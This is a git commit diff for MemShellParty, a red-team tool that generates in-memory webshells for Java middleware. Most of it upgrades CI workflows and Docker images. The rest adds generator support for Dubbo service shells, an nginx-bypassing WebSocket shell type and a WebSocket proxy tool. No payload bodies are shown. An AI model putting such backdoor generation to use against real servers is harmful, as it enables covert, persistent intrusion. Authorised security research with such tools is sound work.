ci: upgrade actions

This reverts commit 93971fc66c.

.github/workflows/dev-deploy.yaml

@@ -17,16 +17,16 @@ jobs:
         os: [ubuntu-latest, windows-latest]
     runs-on: ${{ matrix.os }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
       - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
 
       - name: Setup Node
         uses: actions/setup-node@v6
@@ -62,28 +62,28 @@ jobs:
     needs: [ build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
       - name: Download Boot Jar
-        uses: actions/download-artifact@v4
+        uses: actions/download-artifact@v8
         with:
           name: boot
           path: boot/build/libs
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v3
+        uses: docker/setup-qemu-action@v4
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4
 
       - name: Build and push
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           context: boot
           platforms: linux/amd64,linux/arm64
@@ -95,15 +95,15 @@ jobs:
     needs: [ build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
       - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
 
       - name: Publish with Gradle
         env:

.github/workflows/docker-build-test.yml

@@ -22,7 +22,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6
       - name: Build Docker image
         run: |
           docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .

.github/workflows/docker-push.yml

@@ -15,21 +15,21 @@ jobs:
     name: Docker Push
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
       - name: Login to Docker Hub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v3
+        uses: docker/setup-qemu-action@v4
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4
 
       - name: Build and push RedQueen
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           context: .
           platforms: linux/amd64,linux/arm64

.github/workflows/memshell-integration-test.yml

@@ -50,20 +50,20 @@ jobs:
             depend_tasks: ""
           - middleware: "struct2"
             depend_tasks: ":vul:vul-struct2:war"
-    runs-on: ubuntu-latest
+    runs-on: ubuntu-22.04
     name: ${{ matrix.cases.middleware }}
     steps:
       - name: Checkout
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6
 
       - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
 
       - name: Prepare for Integration Test
         run: ./gradlew ${{ matrix.cases.depend_tasks }}

.github/workflows/probe-integration-test.yml

@@ -44,20 +44,20 @@ jobs:
             depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
           - middleware: "struct2"
             depend_tasks: ":vul:vul-struct2:war"
-    runs-on: ubuntu-latest
+    runs-on: ubuntu-22.04
     name: ${{ matrix.cases.middleware }}
     steps:
       - name: Checkout
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6
 
       - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
 
       - name: Prepare for Integration Test
         run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
         run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
 
       - name: Export Integration Test Summary
-        uses: mikepenz/action-junit-report@v5
+        uses: mikepenz/action-junit-report@v6
         if: success() || failure()
         with:
           report_paths: '**/build/test-results/test/TEST-*.xml'

.github/workflows/release.yaml

@@ -14,7 +14,7 @@ jobs:
       version-without-v: ${{ steps.get_version.outputs.version-without-v }}
       changelog: ${{ steps.get_changelog.outputs.changelog }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
       - name: Get Version
         id: get_version
@@ -36,16 +36,16 @@ jobs:
     name: Build Jar
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
       - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
 
       - name: Setup Node
         uses: actions/setup-node@v6
@@ -75,7 +75,7 @@ jobs:
     needs: [ info, build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
       - name: Download Boot Jar
         uses: actions/download-artifact@v4
@@ -84,26 +84,26 @@ jobs:
           path: boot/build/libs
 
       - name: Login to GitHub Container Registry
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           registry: ghcr.io
           username: ${{ github.repository_owner }}
           password: ${{ secrets.GITHUB_TOKEN }}
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v3
+        uses: docker/setup-qemu-action@v4
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4
 
       - name: Build and push
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           context: boot
           platforms: linux/amd64,linux/arm64
@@ -115,7 +115,7 @@ jobs:
             ghcr.io/reajason/memshell-party:latest
 
       - name: Build and push RedQueen
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           context: .
           platforms: linux/amd64,linux/arm64
@@ -130,15 +130,15 @@ jobs:
     name: Deploy to Maven Central
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
       - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
 
       - name: Publish with Gradle
         env:
@@ -156,7 +156,7 @@ jobs:
     permissions:
       contents: write
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
       - name: Download Boot Jar
         uses: actions/download-artifact@v4

.github/workflows/single-integration-test.yml

@@ -0,0 +1,47 @@
+name: Single IntegrationTest
+
+on:
+  workflow_dispatch:
+    inputs:
+      depend_tasks:
+        description: '前置构建任务，如 :boot:jar :generator:jar'
+        required: false
+        default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
+        type: string
+      test_class:
+        description: '测试用例类名，如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
+        required: true
+        type: string
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
+  cancel-in-progress: true
+
+jobs:
+  integration-test:
+    runs-on: ubuntu-22.04
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v6
+
+      - name: Setup Java
+        uses: actions/setup-java@v5
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v6
+
+      - name: Prepare for Integration Test
+        if: ${{ inputs.depend_tasks != '' }}
+        run: ./gradlew ${{ inputs.depend_tasks }}
+
+      - name: Integration Test with gradle
+        run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
+
+      - name: Export Integration Test Summary
+        uses: mikepenz/action-junit-report@v5
+        if: success() || failure()
+        with:
+          report_paths: '**/build/test-results/test/TEST-*.xml'

.github/workflows/unit-test.yml

@@ -17,16 +17,16 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6
 
       - name: Setup Java
-        uses: actions/setup-java@v4
+        uses: actions/setup-java@v5
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
+        uses: gradle/actions/setup-gradle@v6
 
       - name: Generator Unit Test with Gradle
         run: ./gradlew :generator:test

Dockerfile

@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
     rm -rf vul integration-test tools
 
 # https://hub.docker.com/r/oven/bun
-FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
+FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
 
 ARG ROUTE_ROOT_PATH="/"
 ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
 RUN bun run build
 
 # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
-FROM --platform=$BUILDPLATFORM  eclipse-temurin:17.0.15_6-jdk-noble AS backend
+FROM --platform=$BUILDPLATFORM  eclipse-temurin:17.0.17_10-jdk-noble AS backend
 
 WORKDIR /usr/src
 
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
 
 RUN ./gradlew :boot:bootjar -x test
 
-FROM eclipse-temurin:17.0.15_6-jre-noble
+FROM eclipse-temurin:17.0.17_10-jre-noble
 
 LABEL authors="ReaJason<[email protected]>"
 

README.md

@@ -25,10 +25,10 @@
 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，致力于简化安全研究人员和红队成员的工作流程，提升攻防效率。
 
 <p align="center">
-  <img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
+  <img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
-  <img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
+  <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
-  <img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
+  <img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
-  <img src="asserts/about_page.png" alt="about_page" width="24%">
+  <img src="assets/about_page.png" alt="about_page" width="24%">
 </p>
 
 ## 主要特性

boot/Dockerfile

@@ -1,4 +1,4 @@
-FROM eclipse-temurin:17.0.14_7-jre-noble
+FROM eclipse-temurin:17.0.17_10-jre-noble
 
 LABEL authors="ReaJason<[email protected]>"
 

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

@@ -51,6 +51,8 @@ public class MemShellGenerateRequest {
             case Command -> CommandConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .paramName(shellToolConfig.getCommandParamName())
+                    .headerName(shellToolConfig.getHeaderName())
+                    .headerValue(shellToolConfig.getHeaderValue())
                     .template(shellToolConfig.getCommandTemplate())
                     .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
                     .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
@@ -75,6 +77,10 @@ public class MemShellGenerateRequest {
                     .shellClassBase64(shellToolConfig.getShellClassBase64())
                     .shellClassName(shellToolConfig.getShellClassName())
                     .build();
+            case Proxy -> ProxyConfig.builder()
+                    .headerName(shellToolConfig.getHeaderName())
+                    .headerValue(shellToolConfig.getHeaderValue())
+                    .shellClassName(shellToolConfig.shellClassName).build();
             default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
         };
     }

boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.boot.entity;
 
-import lombok.Data;
 import lombok.Builder;
+import lombok.Data;
 
 /**
  * @author ReaJason

boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java

@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
 
 import org.junit.jupiter.api.Test;
 
-import static org.junit.jupiter.api.Assertions.*;
+import static org.junit.jupiter.api.Assertions.assertEquals;
 
 /**
  * @author ReaJason

build-logic/src/main/kotlin/maven-publish-convention.gradle.kts

@@ -3,7 +3,7 @@ plugins {
 }
 
 mavenPublishing {
-    publishToMavenCentral()
+    publishToMavenCentral(automaticRelease = true, validateDeployment = true)
     signAllPublications()
     coordinates(
         "io.github.reajason",

build.gradle.kts

@@ -9,10 +9,16 @@ idea {
     }
 }
 
-version = "2.4.2"
+version = "2.7.0"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")
     dependsOn(":packer:publishToMavenCentral")
     dependsOn(":generator:publishToMavenCentral")
 }
+
+tasks.register("publishAllToMavenLocal") {
+    dependsOn(":memshell-party-common:publishToMavenLocal")
+    dependsOn(":packer:publishToMavenLocal")
+    dependsOn(":generator:publishToMavenLocal")
+}

docs/README.en.md

@@ -36,9 +36,9 @@ What you can learn or try from this project:
 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
 5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
 
-![normal_generator](../asserts/normal_generator.png)
+![normal_generator](../assets/normal_generator.png)
 
-![agent_generator](../asserts/agent_generator.png)
+![agent_generator](../assets/agent_generator.png)
 
 ## Key Features
 

generator/build.gradle.kts

@@ -32,10 +32,15 @@ dependencies {
     api(libs.byte.buddy)
     implementation(libs.asm.commons)
     implementation(libs.javax.websocket.api)
+    implementation(libs.jakarta.websocket.client.api)
     implementation(libs.javax.servlet.api)
+    implementation(libs.jakarta.servlet.api)
     implementation(libs.spring.webmvc)
     implementation(libs.spring.webflux)
+    implementation(libs.tomcat.embed.core)
     implementation(libs.reactor.netty.core)
+    implementation(libs.alibaba.dubbo)
+    implementation(libs.apache.dubbo)
     implementation(libs.jackson.annotations)
     implementation(libs.bundles.jna)
 

generator/src/main/java/com/reajason/javaweb/Server.java

@@ -21,4 +21,5 @@ public class Server {
     public static final String SpringWebFlux = "SpringWebFlux";
     public static final String XXLJOB = "XXLJOB";
     public static final String Struct2 = "Struct2";
+    public static final String Dubbo = "Dubbo";
 }

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -1,10 +1,13 @@
 package com.reajason.javaweb.memshell;
 
 import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.asm.ClassInterfaceUtils;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
 import com.reajason.javaweb.memshell.generator.InjectorGenerator;
+import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
 import com.reajason.javaweb.memshell.server.AbstractServer;
 import com.reajason.javaweb.probe.ProbeContent;
 import com.reajason.javaweb.probe.ProbeMethod;
@@ -14,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
 import com.reajason.javaweb.utils.CommonUtil;
 import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.lang3.StringUtils;
+import org.apache.commons.lang3.Strings;
 import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Map;
@@ -59,6 +63,27 @@ public class MemShellGenerator {
 
         byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
 
+        if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
+            String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
+            String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
+            String interfaceName = packageName + ".I" + simpleName;
+            injectorConfig.setInjectorHelperClassName(interfaceName);
+            injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
+            shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
+            String urlPattern = injectorConfig.getUrlPattern();
+            if (Strings.CS.equalsAny(urlPattern, "/*", "/")
+                    || StringUtils.isBlank(urlPattern)) {
+                injectorConfig.setUrlPattern(interfaceName);
+            }
+        }
+
+        if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
+                || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
+            String helperClassName = shellToolConfig.getShellClassName() + "$1";
+            injectorConfig.setInjectorHelperClassName(helperClassName);
+            injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
+        }
+
         injectorConfig.setInjectorClass(injectorClass);
         injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
         injectorConfig.setShellClassBytes(shellBytes);
@@ -67,7 +92,7 @@ public class MemShellGenerator {
         byte[] injectorBytes = injectorGenerator.generate();
         if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
             ProbeConfig probeConfig = ProbeConfig.builder()
-                    .shellClassName(injectorConfig.getInjectorClassName() + "1")
+                    .shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
                     .probeMethod(ProbeMethod.ResponseBody)
                     .probeContent(ProbeContent.Bytecode)
                     .targetJreVersion(shellConfig.getTargetJreVersion())

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.neoreg.*;
 import com.reajason.javaweb.memshell.shelltool.suo5.*;
 import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
+import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
 
 import java.util.Collections;
 import java.util.List;
@@ -46,6 +47,7 @@ public class ServerFactory {
         register(Server.SpringWebFlux, SpringWebFlux::new);
         register(Server.XXLJOB, XxlJob::new);
         register(Server.Struct2, Struct2::new);
+        register(Server.Dubbo, Dubbo::new);
 
         addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                 .addShellClass(SERVLET, GodzillaServlet.class)
@@ -60,6 +62,8 @@ public class ServerFactory {
                 .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
                 .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
                 .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
+                .addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
+                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -137,6 +141,8 @@ public class ServerFactory {
                 .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
                 .addShellClass(WEBSOCKET, CommandWebSocket.class)
                 .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
                 .addShellClass(UPGRADE, CommandUpgrade.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
@@ -157,6 +163,8 @@ public class ServerFactory {
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
                 .addShellClass(ACTION, CommandStruct2Action.class)
+                .addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
+                .addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
                 .build());
 
         addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -235,6 +243,13 @@ public class ServerFactory {
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
                 .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
                 .build());
+
+        addToolMapping(ShellTool.Proxy, ToolMapping.builder()
+                .addShellClass(WEBSOCKET, ProxyWebSocket.class)
+                .addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
+                .addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
+                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
+                .build());
     }
 
     public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

@@ -12,5 +12,6 @@ public class ShellTool {
     public static final String Suo5v2 = "Suo5v2";
     public static final String AntSword = "AntSword";
     public static final String NeoreGeorg = "NeoreGeorg";
+    public static final String Proxy = "Proxy";
     public static final String Custom = "Custom";
 }

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

@@ -23,10 +23,11 @@ public class ShellToolFactory {
         register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
         register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
         register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
-        register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
+        register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
         register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
         register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
         register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
+        register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
     }
 
     public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -45,7 +45,13 @@ public class ShellType {
     public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
     public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
     public static final String WEBSOCKET = "WebSocket";
+    public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
     public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
+    public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
 
     public static final String ACTION = "Action";
+
+    public static final String DUBBO_SERVICE = "DubboService";
+    public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
+    public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
     @Builder.Default
     private String paramName = CommonUtil.getRandomString(8);
 
+    /**
+     * 只有在 WebSocket Bypass 的时候才有用，防止对业务的干扰
+     */
+    @Builder.Default
+    private String headerName = "User-Agent";
+
+    /**
+     * 只有在 WebSocket Bypass 的时候才有用，防止对业务的干扰
+     */
+    @Builder.Default
+    private String headerValue = CommonUtil.getRandomString(8);
+
     /**
      * 加密器
      */
@@ -48,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
             }
             return self();
         }
+
+        public B headerName(final String headerName) {
+            if (StringUtils.isNotBlank(headerName)) {
+                this.headerName$value = headerName;
+                headerName$set = true;
+            }
+            return self();
+        }
+
+        public B headerValue(final String headerValue) {
+            if (StringUtils.isNotBlank(headerValue)) {
+                this.headerValue$value = headerValue;
+                headerValue$set = true;
+            }
+            return self();
+        }
     }
 
 
@@ -63,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
     }
 
     public enum Encryptor {
-        RAW, DOUBLE_BASE64;
+        RAW, BASE64, DOUBLE_BASE64;
 
         public static Encryptor fromString(String encryptor) {
             if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
                 return DOUBLE_BASE64;
             }
+            if (encryptor != null && encryptor.equals("BASE64")) {
+                return BASE64;
+            }
             return RAW;
         }
     }

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

@@ -16,37 +16,44 @@ import net.bytebuddy.dynamic.DynamicType;
 @AllArgsConstructor
 @Builder(toBuilder = true)
 public class InjectorConfig {
-    /**
-     * 注入器 Builder
-     */
-    DynamicType.Builder<?> injectorBuilder;
-    /**
-     * 内存马 Builder
-     */
-    DynamicType.Builder<?> shellBuilder;
     /**
      * 注入器模板类
      */
     private Class<?> injectorClass;
+
     /**
      * 注入器类名
      */
     @Builder.Default
     private String injectorClassName = CommonUtil.generateInjectorClassName();
+
+    /**
+     * 辅助类类名
+     */
+    private String injectorHelperClassName;
+
+
     /**
      * 注入访问的地址
      */
     @Builder.Default
     private String urlPattern = "/*";
+
     /**
      * 内存马类名
      */
     private String shellClassName;
+
     /**
      * 内存马类字节
      */
     private byte[] shellClassBytes;
 
+    /**
+     * 辅助类字节码
+     */
+    private byte[] helperClassBytes;
+
     /**
      * 添加静态代码块调用构造方法初始化
      */

generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java

@@ -0,0 +1,38 @@
+package com.reajason.javaweb.memshell.config;
+
+import com.reajason.javaweb.utils.CommonUtil;
+import lombok.*;
+import lombok.experimental.SuperBuilder;
+import org.apache.commons.lang3.StringUtils;
+
+@Getter
+@SuperBuilder
+@NoArgsConstructor
+@AllArgsConstructor
+@ToString
+public class ProxyConfig extends ShellToolConfig {
+    @Builder.Default
+    private String headerName = "User-Agent";
+    @Builder.Default
+    private String headerValue = CommonUtil.getRandomString(8);
+
+    public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
+            extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
+
+        public B headerName(final String headerName) {
+            if (StringUtils.isNotBlank(headerName)) {
+                this.headerName$value = headerName;
+                headerName$set = true;
+            }
+            return self();
+        }
+
+        public B headerValue(final String headerValue) {
+            if (StringUtils.isNotBlank(headerValue)) {
+                this.headerValue$value = headerValue;
+                headerValue$set = true;
+            }
+            return self();
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java

@@ -73,12 +73,18 @@ public class ShellConfig {
     @Builder.Default
     private boolean lambdaSuffix = false;
 
+    /**
+     * 将 Java EE 转换为 Jakarta EE 类名
+     */
+    @Builder.Default
+    private boolean jakarta = false;
+
     public boolean isDebugOff() {
         return !debug;
     }
 
     public boolean isJakarta() {
-        return shellType.startsWith(ShellType.JAKARTA);
+        return jakarta || shellType.startsWith(ShellType.JAKARTA);
     }
 
     public boolean needByPassJavaModule() {

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
 
     protected abstract DynamicType.Builder<?> getBuilder();
 
+    protected byte[] postProcessBytes(byte[] classBytes) {
+        return classBytes;
+    }
+
     @Override
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
@@ -42,7 +46,8 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
         try (DynamicType.Unloaded<?> unloaded = builder.make()) {
-            return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
+            byte[] bytes = postProcessBytes(unloaded.getBytes());
+            return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+
+public class DubboServiceInterfaceHelperGenerator {
+    public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
+        try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
+                .redefine(ShellDubboService.class)
+                .name(interfaceName)
+                .make()) {
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
+        }
+    }
+}

